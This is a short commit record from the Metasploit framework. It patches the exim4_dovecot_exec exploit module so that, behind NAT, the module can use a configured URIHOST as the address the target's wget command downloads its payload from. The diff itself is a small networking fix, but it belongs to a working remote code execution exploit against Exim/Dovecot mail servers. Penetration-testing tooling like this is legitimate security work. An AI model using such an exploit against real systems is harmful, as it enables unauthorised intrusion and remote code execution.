Land rapid7#7301, Support URIHOST for exim4_dovecot_exec for NAT

Author: tdoan-r7

modules/exploits/linux/smtp/exim4_dovecot_exec.rb

@@ -123,7 +123,7 @@ def exploit
       #we use SRVHOST as download IP for the coming wget command.
       #SRVHOST needs a real IP address of our download host
       if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
-        srv_host = Rex::Socket.source_address(rhost)
+        srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
       else
         srv_host = datastore['SRVHOST']
       end